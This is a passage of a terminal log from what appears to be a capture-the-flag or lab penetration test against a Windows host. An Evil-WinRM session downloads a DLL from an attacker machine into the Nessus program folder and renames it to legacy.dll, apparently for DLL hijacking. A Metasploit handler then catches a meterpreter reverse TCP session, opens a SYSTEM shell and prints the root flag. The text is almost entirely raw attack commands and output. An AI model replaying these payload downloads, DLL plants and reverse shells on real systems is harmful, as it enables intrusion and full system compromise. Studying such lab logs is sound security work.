vil-WinRM* PS C:\Program Files\Tenable\Nessus> Invoke-WebRequest -Uri http://192.168.56.103:8888/2.dll -OutFile 777.dll
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> ls


Directory: C:\Program Files\Tenable\Nessus


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 10:35 AM 1 .winperms
-a---- 5/9/2024 11:30 PM 4988536 2.dll
-a---- 7/23/2025 10:28 AM 9216 777.dll
-a---- 5/9/2024 11:30 PM 2471544 fips.dll
-a---- 5/9/2024 11:30 PM 5217912 icudt73.dll
-a---- 5/9/2024 11:30 PM 1575032 icuuc73.dll
-a---- 5/9/2024 11:06 PM 375266 License.rtf
-a---- 5/9/2024 11:37 PM 11204728 nasl.exe
-a---- 5/9/2024 11:31 PM 264824 ndbg.exe
-a---- 5/9/2024 11:06 PM 46 Nessus Web Client.url
-a---- 5/9/2024 11:33 PM 38520 nessus-service.exe
-a---- 5/9/2024 11:37 PM 11143800 nessuscli.exe
-a---- 5/9/2024 11:38 PM 11925624 nessusd.exe
-a---- 7/22/2025 9:35 PM 16 start
-a---- 7/22/2025 9:35 PM 16 stop


*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> mv 777.dll legacy.dll

------------------------------------------------------------------------------------------------------------

msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.103:8081
[*] Sending stage (203846 bytes) to 192.168.56.156
[*] Meterpreter session 1 opened (192.168.56.103:8081 -> 192.168.56.156:49670) at 2025-07-22 22:29:48 -0400

meterpreter > shell
Process 3580 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>type root.txt
type root.txt
b5fc5a4ebfc20cc18220a814e1aee0aa